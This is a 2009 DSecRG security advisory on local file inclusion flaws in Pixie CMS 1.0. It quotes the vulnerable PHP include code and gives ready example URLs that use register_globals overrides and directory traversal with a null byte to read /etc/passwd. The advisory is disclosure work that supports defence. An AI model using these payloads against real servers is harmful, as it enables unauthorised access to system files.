Pixie CMS 1.0 Local File Inclusion

`Digital Security Research Group [DSecRG] Advisory #DSECRG-09-005  
  
  
Application: Pixie CMS  
Versions Affected: 1.0  
Vendor URL: http://www.getpixie.co.uk/  
Bug: Multiple Local File Include  
Exploits: YES  
Reported: 29.08.2008  
Vendor Response: 30.08.2008  
Solution: NONE  
Date of Public Advisory: 27.01.2009  
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Pixie CMS has Multiple Local File Include vulnerabilities.   
  
Input parameters is not properly verified before being used to include files.  
This can be exploited to include arbitrary files from local resources.  
  
Details  
*******  
  
1. Local File Include vulnerability found in script /admin/admin/modules/mod_settings.php  
  
Successful exploitation requires that "register_globals" is enabled.  
  
Code [line 9-15]  
----------------  
#################################################  
  
if ($GLOBALS['pixie_user'] && $GLOBALS['pixie_user_privs'] >= 2) {  
if (file_exists("admin/modules/mod_$x.php")) {  
include("admin/modules/mod_$x.php");  
} else {  
$message = "Admin module $x has been removed from the admin modules folder.";  
}  
}  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/admin/admin/modules/mod_settings.php?pixie_user=DSecRG&pixie_user_privs=2&x=../../../../../../../../../../../../../etc/passwd%00  
  
  
2. Local File Include vulnerability found in script /admin/admin/modules/mod_myaccount.php  
  
Successful exploitation requires that "register_globals" is enabled.  
  
Code [line 9, 109-113]  
----------------------  
#################################################  
  
if ($GLOBALS['pixie_user']) {  
  
...  
  
if ($m) {  
include("../admin/modules/$m.php");  
} else if ($x) {  
include("mod_$x.php");  
} else {  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/admin/admin/modules/mod_myaccount.php?pixie_user=DSecRG&m=../../../../../../../../../../../../../etc/passwd%00  
http://[server]/[installdir]/admin/admin/modules/mod_myaccount.php?pixie_user=DSecRG&x=../../../../../../../../../../../../../etc/passwd%00  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.  
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsecrg.com  
http://www.dsec.ru  
  
`